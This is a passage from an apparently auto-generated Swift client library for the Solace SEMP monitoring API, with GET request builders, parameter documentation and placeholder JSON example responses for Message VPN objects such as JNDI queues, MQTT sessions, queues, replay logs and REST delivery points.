"allowDuplicateClientIdEnabled" : true,
"transportPort" : 1,
"transportConnectRetryCount" : 3,
"transportConnectTimeout" : 4,
"dynamicEndpointCreateDurableEnabled" : true,
"clientId" : "clientId",
"messagingJmsxUserIdEnabled" : true,
"guaranteedReceiveWindowSizeAckThreshold" : 5,
"dynamicEndpointRespectTtlEnabled" : true,
"messagingTextInXmlPayloadEnabled" : true,
"guaranteedSendWindowSize" : 7,
"transportKeepaliveInterval" : 1,
"transportOptimizeDirectEnabled" : true,
"transportTcpNoDelayEnabled" : true,
"transportSendBufferSize" : 4,
"transportKeepaliveCount" : 7,
"xaEnabled" : true,
"dtoSendEnabled" : true,
"messagingDefaultDmqEligibleEnabled" : true,
"dtoReceiveOverrideEnabled" : true,
"transportMsgCallbackOnIoThreadEnabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiConnectionFactoriesResponse>
*/
public class func getMsgVpnJndiConnectionFactoriesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiConnectionFactoriesResponse> {
var path = "/msgVpns/{msgVpnName}/jndiConnectionFactories"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiConnectionFactoriesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of JNDI Queue objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiQueues(msgVpnName msgVpnName: String, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiQueuesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiQueuesWithRequestBuilder(msgVpnName: msgVpnName, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Queue objects.
- GET /msgVpns/{msgVpnName}/jndiQueues
- Gets a list of JNDI Queue objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| queueName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"queueName" : "queueName",
"physicalName" : "physicalName",
"msgVpnName" : "msgVpnName"
}, {
"queueName" : "queueName",
"physicalName" : "physicalName",
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiQueuesResponse>
*/
public class func getMsgVpnJndiQueuesWithRequestBuilder(msgVpnName msgVpnName: String, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiQueuesResponse> {
var path = "/msgVpns/{msgVpnName}/jndiQueues"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiQueuesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of JNDI Topic objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiTopics(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiTopicsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiTopicsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Topic objects.
- GET /msgVpns/{msgVpnName}/jndiTopics
- Gets a list of JNDI Topic objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| topicName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"physicalName" : "physicalName",
"topicName" : "topicName",
"msgVpnName" : "msgVpnName"
}, {
"physicalName" : "physicalName",
"topicName" : "topicName",
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiTopicsResponse>
*/
public class func getMsgVpnJndiTopicsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiTopicsResponse> {
var path = "/msgVpns/{msgVpnName}/jndiTopics"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiTopicsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of MQTT Session objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnMqttSessions(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnMqttSessionsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnMqttSessionsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of MQTT Session objects.
- GET /msgVpns/{msgVpnName}/mqttSessions
- Gets a list of MQTT Session objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: mqttSessionClientId|x|| mqttSessionVirtualRouter|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.1.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"owner" : "owner",
"mqttSessionClientId" : "mqttSessionClientId",
"msgVpnName" : "msgVpnName",
"enabled" : true,
"mqttSessionVirtualRouter" : "primary"
}, {
"owner" : "owner",
"mqttSessionClientId" : "mqttSessionClientId",
"msgVpnName" : "msgVpnName",
"enabled" : true,
"mqttSessionVirtualRouter" : "primary"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"subscriptionsUri" : "subscriptionsUri",
"uri" : "uri"
}, {
"subscriptionsUri" : "subscriptionsUri",
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnMqttSessionsResponse>
*/
public class func getMsgVpnMqttSessionsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnMqttSessionsResponse> {
var path = "/msgVpns/{msgVpnName}/mqttSessions"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnMqttSessionsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Queue objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnQueues(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnQueuesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnQueuesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Queue objects.
- GET /msgVpns/{msgVpnName}/queues
- Gets a list of Queue objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| queueName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"maxBindCount" : 0,
"owner" : "owner",
"eventMsgSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"egressEnabled" : true,
"maxTtl" : 2,
"respectTtlEnabled" : true,
"permission" : "no-access",
"rejectLowPriorityMsgLimit" : 7,
"maxRedeliveryCount" : 5,
"maxMsgSize" : 1,
"accessType" : "exclusive",
"deadMsgQueue" : "deadMsgQueue",
"ingressEnabled" : true,
"rejectMsgToSenderOnDiscardBehavior" : "always",
"consumerAckPropagationEnabled" : true,
"queueName" : "queueName",
"eventBindCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"respectMsgPriorityEnabled" : true,
"eventRejectLowPriorityMsgLimitThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"maxMsgSpoolUsage" : 5,
"msgVpnName" : "msgVpnName",
"maxDeliveredUnackedMsgsPerFlow" : 6,
"rejectLowPriorityMsgEnabled" : true
}, {
"maxBindCount" : 0,
"owner" : "owner",
"eventMsgSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"egressEnabled" : true,
"maxTtl" : 2,
"respectTtlEnabled" : true,
"permission" : "no-access",
"rejectLowPriorityMsgLimit" : 7,
"maxRedeliveryCount" : 5,
"maxMsgSize" : 1,
"accessType" : "exclusive",
"deadMsgQueue" : "deadMsgQueue",
"ingressEnabled" : true,
"rejectMsgToSenderOnDiscardBehavior" : "always",
"consumerAckPropagationEnabled" : true,
"queueName" : "queueName",
"eventBindCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"respectMsgPriorityEnabled" : true,
"eventRejectLowPriorityMsgLimitThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"maxMsgSpoolUsage" : 5,
"msgVpnName" : "msgVpnName",
"maxDeliveredUnackedMsgsPerFlow" : 6,
"rejectLowPriorityMsgEnabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"subscriptionsUri" : "subscriptionsUri",
"uri" : "uri"
}, {
"subscriptionsUri" : "subscriptionsUri",
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnQueuesResponse>
*/
public class func getMsgVpnQueuesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnQueuesResponse> {
var path = "/msgVpns/{msgVpnName}/queues"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnQueuesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of ReplayLog objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnReplayLogs(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnReplayLogsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnReplayLogsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of ReplayLog objects.
- GET /msgVpns/{msgVpnName}/replayLogs
- Gets a list of ReplayLog objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| replayLogName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.10.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"ingressEnabled" : true,
"replayLogName" : "replayLogName",
"maxSpoolUsage" : 0,
"egressEnabled" : true,
"msgVpnName" : "msgVpnName"
}, {
"ingressEnabled" : true,
"replayLogName" : "replayLogName",
"maxSpoolUsage" : 0,
"egressEnabled" : true,
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnReplayLogsResponse>
*/
public class func getMsgVpnReplayLogsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnReplayLogsResponse> {
var path = "/msgVpns/{msgVpnName}/replayLogs"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnReplayLogsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Replicated Topic objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnReplicatedTopics(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnReplicatedTopicsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnReplicatedTopicsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Replicated Topic objects.
- GET /msgVpns/{msgVpnName}/replicatedTopics
- Gets a list of Replicated Topic objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| replicatedTopic|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.9.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"replicationMode" : "sync",
"replicatedTopic" : "replicatedTopic",
"msgVpnName" : "msgVpnName"
}, {
"replicationMode" : "sync",
"replicatedTopic" : "replicatedTopic",
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnReplicatedTopicsResponse>
*/
public class func getMsgVpnReplicatedTopicsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnReplicatedTopicsResponse> {
var path = "/msgVpns/{msgVpnName}/replicatedTopics"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnReplicatedTopicsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of REST Delivery Point objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnRestDeliveryPoints(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnRestDeliveryPointsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnRestDeliveryPointsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of REST Delivery Point objects.
- GET /msgVpns/{msgVpnName}/restDeliveryPoints
- Gets a list of REST Delivery Point objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| restDeliveryPointName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"restDeliveryPointName" : "restDeliveryPointName",
"enabled" : true
}, {
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"restDeliveryPointName" : "restDeliveryPointName",
"enabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"restConsumersUri" : "restConsumersUri",
"queueBindingsUri" : "queueBindingsUri",
"uri" : "uri"
}, {
"restConsumersUri" : "restConsumersUri",
"queueBindingsUri" : "queueBindingsUri",
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnRestDeliveryPointsResponse>
*/
public class func getMsgVpnRestDeliveryPointsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnRestDeliveryPointsResponse> {
var path = "/msgVpns/{msgVpnName}/restDeliveryPoints"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnRestDeliveryPointsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Topic Endpoint objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
